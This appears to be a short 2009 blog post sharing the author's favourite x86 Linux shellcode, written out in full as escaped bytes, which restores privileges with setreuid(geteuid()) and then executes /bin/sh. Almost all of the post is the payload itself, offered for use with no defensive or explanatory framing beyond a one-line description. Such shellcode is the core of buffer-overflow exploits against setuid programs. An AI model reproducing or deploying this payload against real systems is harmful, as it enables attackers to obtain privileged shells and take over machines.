Thursday, 12 November 2009

Restore privledge and /bin/sh shellcode

My favourite shellcode, basically it will call setreuid(geteuid()) and call /bin/sh.

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f \x73\x68\x58\x4e\x41\x41\x41"

No comments:

Post a Comment